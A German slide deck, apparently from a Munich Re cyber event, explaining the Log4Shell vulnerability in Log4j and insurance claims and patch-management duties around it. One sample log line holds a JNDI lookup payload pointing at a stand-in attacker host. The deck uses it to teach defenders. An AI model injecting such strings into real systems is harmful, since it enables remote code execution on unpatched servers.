



Cybermania 2022 Unser Thema: Log4j

März 2022
Munich Re/D-A-CH Team

Munich RE 

1

Log4j – Log4shell Technischer Überblick

Daniel Fritsch, Cyber Security Consultant

Log4j ist eine **Software-Bibliothek**, die **Logging**-Funktionalität zur Verfügung stellt

Software-Bibliothek

- vorgefertigtes „Software-Baustein“
- kapselt oft-benötigte oder komplexe Funktionalität ab und stellt sie Anwendungen zur Verfügung
- typische hergenommen für Verschlüsselung, Kompression, Netzwerkanfragen, usw.
- moderne Anwendungen betten hunderte von Bibliotheken ein
- eine Bibliothek kann eine weitere Bibliothek einbetten!

Logging

- Protokollieren wichtiger Ereignisse in sog. Log-Dateien
- Überall wird geloggt: Betriebssysteme, Datenbanken, Firewalls, Anwendungen, usw.
- Fiktives Beispiel „Social Network“:

```
[2022-03-10 12:34:23] Nutzer Daniel F. hat sich erfolgreich angemeldet
```

```
[2022-03-10 12:36:12] Nutzer Daniel F. hat ein Post veröffentlicht: ‚Die Sonne scheint‘
```

```
[2022-03-10 12:36:03] Nutzer Daniel F. hat sich abgemeldet
```

Was ist Log4shell?

- Schwerwiegende Schwachstelle in Log4j – CVE-2021-44228
- It is not a bug, it is a feature (since 2013):
 - Wenn die Bibliothek eine Zeichenfolge der Form `${jndi:ldap://[URL Platzhalter]}` loggen soll...
 - ... dann rufe die URL auf...
 - ... lade das runter was du dort findest...
 - ... und führe es aus!

→ Wenn ein Angreifer beeinflussen kann, was geloggt wird, dann kann er die Schwachstelle ausnutzen:

[2022-03-10 12:34:23] Nutzer Daniel F. hat sich erfolgreich angemeldet

[2022-03-10 12:36:12] Nutzer Daniel F. hat ein Post veröffentlicht: ``${jndi:ldap://attacker.com/schadcode}``

[2022-03-10 12:36:03] Nutzer Daniel F. hat sich abgemeldet

Warum war Log4Shell so kritisch?

Kritische Schwachstelle

- CVSS Bewertung von 10,0
- Über's Internet ausnutzbar
- Führt Schadcode aus
- Braucht keine User Interaktion
- Braucht keine User Privilegien
- Trivial auszunutzen

Enorme Angriffsfläche

- Log4j läuft auf Millionen von Geräten
- Selbst-entwickelte Anwendungen sind betroffen
- COTS Komponenten sind betroffen
- Patches waren zT lange nicht verfügbar
- Keine Transparenz wo Log4j eingesetzt wird

Was ist seit Dezember 2021 passiert?

- Log4shell unzählbar oft ausgenutzt
- Meistens für Cryptomining
- Katastrophenszenario blieb aber aus
- Beitragende Faktoren:
 - Keine root Rechte
 - Community hat rasch reagiert
 - Defense in Depth
 - Betroffene Systeme sehr heterogen
- Log4shell wird uns aber Jahrelang begleiten

2

Log4j – Schaden- Aspekte Patch Management

Jakob von Uckermann, Senior Claims Manager

- **Unterscheidung einzelner Nutzer und Befugnisebenen**
 - Individuelle Zugänge für alle Nutzer. Administrative Zugänge ausschließlich für Administratoren
 - Bestimmte Mindestanforderungen für Passwörter (insbes. Anzahl der Zeichen)
- **Schutz gegen unberechtigten Zugriff**
 - Zusätzlicher Schutz bei erhöhtem Risiko (z.B. Geräte über Internet erreichbar): z.B. Firewalls, 2-FA
- **Schutz gegen Schadsoftware**
 - der automatisch auf dem aktuellen Stand gehalten wird: z. B. Virens Scanner
- **Patch-Management**
 - Sicherstellung der zeitnahen Installation von relevanten Sicherheitspatches
 - Zusätzliche geeignete Maßnahmen zur Absicherung bei Systemen und Anwendungen mit bekannten Sicherheitslücken
- **wöchentlicher Sicherungsprozess**
 - Geeignete Maßnahmen, z.B. physische Trennung bei lokalen Backups.
 - Gesonderte Vorgaben bei Backups über das Netzwerk, z.B. Nichteinbindung Back-Up-Server in active-directory
 - Regelmäßiges Testen des Sicherungsprozesses und der Datenwiederherstellung

Schadenbearbeitung profitiert von

- klarer und vollständiger forensischer Analyse unter Berücksichtigung von Obliegenheitsverletzungen
- klar formulierten Bedingungen, welche relevante Aspekte der Schadenbearbeitung berücksichtigen
- klaren rechtlichen Rahmenbedingungen, worauf sich alle einstellen können

Obliegenheiten: Patch Management

- Definition “Patching” und “Patch-Management-Prozess”
- Obliegenheit zur Durchführung von Sicherheitspatches
- Voraussetzungen für effektive Schadenbearbeitung
- Folgen der Obliegenheitsverletzung

Definition “Patching” und “Patch-Management-Prozess”

- Interner Prozess für Patching
- Bezug auf interne Soft- und Hardwareassets, Inventarliste
- Technische und organisatorische Vorgaben
- Dokumentation aller Patching-Aktivitäten
- Timing, Priorisierung, Tests
- Andere Lösungen (z.B. official workarounds, mitigations, temporary fixes)
- Regelmäßige Updates
- Outsourcing von Patching-Aktivitäten

Obliegenheit zur Durchführung von Sicherheitspatches

- Unterscheidung von Computersystemen, Lösungsmöglichkeiten sowie zeitlichen Vorgaben
 - Internet-facing computer systems
 - Embedded systems, ICS or SCADA systems
 - All other computer systems
 - Computer systems with critical vulnerabilities with a CVSS Base Score of 8.0 or higher for which no patch is available but an official workaround

Voraussetzungen für effektive Schadenbearbeitung

- Dokumentation des Patch-Management-Prozesses zur Verfügung gestellt
 - Zugang zu Dokumentation aller Patching-Aktivitäten
 - Zugang zu forensischen Reports (vollständig)
 - Forensische Analyse eines unabhängigen Experten mit Fokus auf
 - Erster Zugriff (incl. relevante Exploits / Schwachstellen): Kausalität?
 - Weiteres Bewegen des Angreifers: Kausalität?
 - Patching-Aktivitäten sowie andere Maßnahmen
- Risk Assessment, Verkaufsgespräche?



Vielen Dank für Ihre Beiträge und die Teilnahme

Cybermania, 10. März 2022
Munich Re Cyber D-A-CH Team

